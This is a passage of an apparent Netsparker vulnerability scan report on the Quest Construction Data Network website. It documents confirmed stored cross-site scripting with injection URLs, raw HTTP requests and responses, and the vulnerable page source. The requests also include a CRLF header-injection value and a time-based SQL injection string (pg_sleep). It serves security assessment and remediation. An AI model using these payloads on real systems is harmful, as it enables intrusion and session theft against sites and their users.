switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<!--Override some of the settings for the tooltips--> <style type="text/css"> body div#toolTip { background:white;border:1px double black; } body div#toolTip p { color:black; } </style> <script type="text/javascript" language="JavaScript1.2">var gridServerUrl = '/questcdn/action/myProjectConnector';var gridCategories = null;var categories = new Array();function doInitDoc(){ gridCategories = new QcdnGridCategories('/questcdn', 'mygrid_container', gridServerUrl, 'user_no=&member_no=&allMember='); gridCategories.setDataProcessorUrl(gridServerUrl); gridCategories.setShowRecordCount(false); gridCategories.addCategory(1,'<b>' + 'Not Yet Bid' + '</b>','Bid Date is in the Future'); gridCategories.addCategory(2,'<b>' + 'Results Pending' + '</b>','Bid Date is in the Past and the results HAVE NOT been posted'); gridCategories.addCategory(3,'<b>' + 'Results Posted' + '</b>','Bid Date is in the Past and the results HAVE been posted'); gridCategories.expandAll(true); gridCategories.load(categoryGridCreated);}function categoryGridCreated(grid, gridHelper){ grid.setHeader('&nbsp;,Name,City,County,State,Bid Date,Solicitor,Owner,eBidDoc Available,Addendum Count,Q & A Posted,User,Status,JobNo,UserNo'); gridHelper.setColumnIds('INMYPROJ,NAME,CITY,COUNTY,STATE,BID_DATE,SOLICITOR,OWNER,DOCS_AVAIL,ADDENDA,QA_AVAIL,UNAME,STATUS,JOB_NO,USER_NO'); gridHelper.disableTooltipsByName(null); gridHelper.useSweetTitles(); grid.setInitWidths('30,200,100,80,28,130,140,150,90,90,80,80,0,0,0'); gridHelper.hideColumns('STATUS,JOB_NO,USER_NO'); //All columns that you want to access by grid.cellById, etc. must be reference here in setColTypes gridHelper.setColTypes('ch,link,ro,ro,ro,datetime'); grid.setColSorting('int,ciSort,ciSort,ciSort,ciSort,dtSort,ciSort,ciSort,ciSort,int,ciSort,ciSort,ciSort,int,int'); gridHelper.setSecondarySortColumn(gridHelper.NAME); grid.setSkin('qa');}function expandAll(doOpen){ gridCategories.expandAll(doOpen);}function previewJob(jobNo, rowId){ var url; url = '/questcdn/projects/prj_browse/project_browse.html?projbrowse=true&jobNo=' + jobNo + '&rowId=' + rowId; //url = '/questcdn/action/showProjPreviewPage?tooltip=true&preview=true&JobPK=' + jobNo; var w = window.open(url,'projectBrowse','height=800,width=600,resizable=yes,scrollbars=yes'); w.focus();}function showJob(jobNo, rowId){// document.userdata.ProjectNo.value = '' + jobNo;// document.userdata.submit(); previewJob(jobNo, rowId);}function NextProject(jobNo, rowId){ var obj = gridCategories.nextProject(rowId); rowId = obj.rowId; jobNo = obj.jobNo; if (rowId != null) previewJob(jobNo, rowId);}function PreviousProject(jobNo, rowId){ var obj = gridCategories.previousProject(rowId); rowId = obj.rowId; jobNo = obj.jobNo; if (rowId != null) previewJob(jobNo, rowId);}function showProjects(){ location.href='/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects' + '&allMember=true' ;}//function deleteSelected()//{// var i, grid, gr..
Permanent Cross-site Scripting

Permanent Cross-site Scripting

3 TOTAL
IMPORTANT
CONFIRMED
3

Netsparker confirmed this vulnerability by analyzing the execution of injected JavaScript.

Permanent XSS (Cross-site Scripting) allows an attacker to execute dynamic scripts (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly and to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/Javascript/VbScript within the browser.

Permanent means that the attack will be stored in the back-end system. In normal XSS attacks an attack needs to e-mail the victim but in a permanent XSS an attacker can just execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

XSS targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' session the attacker might attack an administrator to gain full control over the application.

Impact

Permanent XSS is a dangerous issue that has many exploitation vectors, some of which includes:
  • User session sensitive information such as cookies can be stolen.
  • XSS can enable client-side worms which could modify, delete or steal other users' data within the application.
  • The website can be redirected to a new location, defaced or used as a phishing site.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /questcdn/

/questcdn/ CONFIRMED

http://www.questcdn.com/questcdn/?jobPK=3&loginPagePath=index.html&nextPage=3&password=%0D%0Ans:nets..

Injection URL

http://www.questcdn.com/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0001EF)%3C/script%3E&current_sub_tab=myprojects

Injection Request

GET /questcdn/setTab/projects/MyProjects/my_projects.html?current_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0001EF)%3C/script%3E&current_sub_tab=myprojects HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Identification Request

GET /questcdn/?jobPK=3&loginPagePath=index.html&nextPage=3&password=%0D%0Ans:netsparker056650=vuln&root_page=true HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Injection Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:36:56 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:36:56 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 28994
Content-Type: text/html;charset=utf-8


Identification Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:36:56 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:36:56 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29936
Content-Type: text/html;charset=utf-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = ''"--></style></script><script>netsparker(0x0001EF)</script>';
var sCurrentSubTab = 'myprojects';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:['"--></style></script><script>netsparker(0x0001EF)</script>] sCurrentSubTab:[myprojects]');
setCurrentTab(null, ''"--></style></script><script>netsparker(0x0001EF)</script>');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value="3"/> <input type="hidden" name="jobPK" value="3"/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle wi..
- /questcdn/industry/ind_browse/ind_browse_f.html

/questcdn/industry/ind_browse/ind_browse_f.html CONFIRMED

http://www.questcdn.com/questcdn/industry/ind_browse/ind_browse_f.html?jobPK=1))%3BSELECT%20pg_sleep..

Injection URL

http://www.questcdn.com/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000201)%3C/script%3E

Injection Request

GET /questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000201)%3C/script%3E HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Identification Request

GET /questcdn/industry/ind_browse/ind_browse_f.html?jobPK=1))%3BSELECT%20pg_sleep(25)--&loginPagePath=index.html&nextPage=3&password=3&root_page=true HTTP/1.1
Referer: http://www.questcdn.com/questcdn/industry/ind_browse/ind_browse_f.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Injection Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:53 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:53 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29451
Content-Type: text/html;charset=utf-8


Identification Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:53 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:53 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 30417
Content-Type: text/html;charset=utf-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = 'projects';
var sCurrentSubTab = ''"--></style></script><script>netsparker(0x000201)</script>';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[projects] sCurrentSubTab:['"--></style></script><script>netsparker(0x000201)</script>]');
setCurrentTab(null, 'projects');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value="3"/> <input type="hidden" name="jobPK" value="1));SELECT pg_sleep(25)--"/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" 